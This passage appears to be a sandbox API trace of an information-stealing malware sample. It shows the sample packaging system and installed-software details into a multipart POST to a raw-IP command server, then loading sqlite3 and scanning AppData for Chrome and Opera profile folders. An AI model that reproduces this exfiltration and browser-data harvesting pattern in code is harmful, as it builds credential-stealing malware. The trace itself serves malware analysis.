\n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n", lpUsedDefaultChar=0x0) returned 3571 [0263.460] lstrlenA (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n") returned 3570 [0263.461] lstrcpynA (in: lpString1=0x3480020, lpString2="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n", iMaxLength=3571 | out: lpString1="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n") returned="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n" [0263.461] LocalFree (hMem=0x6f1280) returned 0x0 [0263.467] LocalFree (hMem=0x3370020) returned 0x0 [0263.468] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6e08b0 [0263.468] lstrlenA (lpString="\r\n") returned 2 [0263.468] lstrlenA (lpString="") returned 0 [0263.468] LocalAlloc (uFlags=0x40, uBytes=0x73) returned 0x6a3bf8 [0263.468] lstrlenA (lpString="--") returned 2 [0263.468] lstrlenA (lpString="\r\n") returned 2 [0263.468] LocalAlloc (uFlags=0x40, uBytes=0x75) returned 0x6a3c78 [0263.468] lstrlenA (lpString="ugmW3NoA52y17iv7") returned 16 [0263.468] lstrlenA (lpString="\r\n--") returned 4 [0263.468] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6ea7e8 [0263.469] lstrlenA (lpString="--") returned 2 [0263.469] lstrlenA (lpString="\r\n--ugmW3NoA52y17iv7") returned 20 [0263.469] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x6ea878 [0263.469] lstrlenA (lpString="\r\n--ugmW3NoA52y17iv7--") returned 22 [0263.469] lstrcpynA (in: lpString1=0x3480e12, lpString2="\r\n--ugmW3NoA52y17iv7--", iMaxLength=23 | out: lpString1="\r\n--ugmW3NoA52y17iv7--") returned="\r\n--ugmW3NoA52y17iv7--" [0263.469] lstrlenA (lpString="\r\n--ugmW3NoA52y17iv7--") returned 22 [0263.470] LocalFree (hMem=0x6ea878) returned 0x0 [0263.470] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0058 [0263.470] InternetSetOptionW (hInternet=0xcc0058, dwOption=0x6, lpBuffer=0x24faa4*, dwBufferLength=0x4) returned 1 [0263.470] InternetSetOptionW (hInternet=0xcc0058, dwOption=0x5, lpBuffer=0x24faa0*, dwBufferLength=0x4) returned 1 [0263.470] InternetConnectW (hInternet=0xcc0058, lpszServerName="51.195.166.178", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc005c [0263.472] HttpOpenRequestW (hConnect=0xcc005c, lpszVerb="POST", lpszObjectName="/ecfd0f9298730a5c1fb78c7f49eedff3", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x24fb14*="*/*", dwFlags=0x400000, dwContext=0x1) returned 0xcc0060 [0263.472] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=ugmW3NoA52y17iv7\r\n\r\n\r\n") returned 66 [0263.472] HttpSendRequestW (hRequest=0xcc0060, lpszHeaders="Content-Type: multipart/form-data; boundary=ugmW3NoA52y17iv7\r\n\r\n\r\n", dwHeadersLength=0x42, lpOptional=0x3480020*, dwOptionalLength=0xe08) returned 1 [0263.628] InternetReadFile (in: hFile=0xcc0060, lpBuffer=0x6f5188, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fab0 | out: lpBuffer=0x6f5188*, lpdwNumberOfBytesRead=0x24fab0*=0x8) returned 1 [0263.629] InternetReadFile (in: hFile=0xcc0060, lpBuffer=0x6f5188, dwNumberOfBytesToRead=0xc350, lpdwNumberOfBytesRead=0x24fab0 | out: lpBuffer=0x6f5188*, lpdwNumberOfBytesRead=0x24fab0*=0x0) returned 1 [0263.632] InternetCloseHandle (hInternet=0xcc0060) returned 1 [0263.632] InternetCloseHandle (hInternet=0xcc005c) returned 1 [0263.632] InternetCloseHandle (hInternet=0xcc0058) returned 1 [0263.632] lstrlenA (lpString="received") returned 8 [0263.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6f5188, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0263.632] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6c2f30 [0263.632] lstrlenA (lpString="received") returned 8 [0263.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x6f5188, cbMultiByte=9, lpWideCharStr=0x6c2f30, cchWideChar=9 | out: lpWideCharStr="received") returned 9 [0263.632] LocalFree (hMem=0x6c2f30) returned 0x0 [0263.632] LocalFree (hMem=0x690e08) returned 0x0 [0263.633] LocalFree (hMem=0x6f5188) returned 0x0 [0263.642] LocalFree (hMem=0x3480020) returned 0x0 [0263.644] LocalFree (hMem=0x690c78) returned 0x0 [0263.644] LocalFree (hMem=0x692790) returned 0x0 [0263.644] LocalFree (hMem=0x690af8) returned 0x0 [0263.644] LocalFree (hMem=0x6b6a70) returned 0x0 [0263.645] LocalFree (hMem=0x6f35b0) returned 0x0 [0263.645] LocalFree (hMem=0x6bb390) returned 0x0 [0263.646] LocalFree (hMem=0x6bcfe0) returned 0x0 [0263.648] LocalFree (hMem=0x6b9720) returned 0x0 [0263.648] LoadLibraryW (lpLibFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\sqlite3.dll") returned 0x61e00000 [0264.196] GetCurrentProcess () returned 0xffffffff [0264.198] GetCurrentProcess () returned 0xffffffff [0264.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f7e4 | out: lpSystemTimeAsFileTime=0x24f7e4*(dwLowDateTime=0x9a1bf860, dwHighDateTime=0x1d8a8cd)) [0264.209] GetCurrentProcessId () returned 0x8e4 [0264.209] GetCurrentThreadId () returned 0x734 [0264.209] GetTickCount () returned 0x11f0f17 [0264.209] QueryPerformanceCounter (in: lpPerformanceCount=0x24f7ec | out: lpPerformanceCount=0x24f7ec*=1894480611981) returned 1 [0264.210] VirtualQuery (in: lpAddress=0x61eb2000, lpBuffer=0x24f668, dwLength=0x1c | out: lpBuffer=0x24f668*(BaseAddress=0x61eb2000, AllocationBase=0x61e00000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0264.210] malloc (_Size=0x80) returned 0x97d5e8 [0264.210] __dllonexit () returned 0x61e01496 [0264.213] __dllonexit () returned 0x61eadd00 [0264.214] LocalAlloc (uFlags=0x40, uBytes=0x228) returned 0x690af8 [0264.214] LocalAlloc (uFlags=0x40, uBytes=0x228) returned 0x690d28 [0264.214] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x690af8, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 1 [0264.215] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x690d28, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0264.216] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\*"), lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x98b94b80, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98b94b80, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690150, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x6ca480 [0264.216] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.216] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.216] lstrlenW (lpString=0x0) returned 0 [0264.217] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x98b94b80, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x98b94b80, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690150, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1 [0264.217] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.217] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.217] lstrlenW (lpString=0x0) returned 0 [0264.217] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | 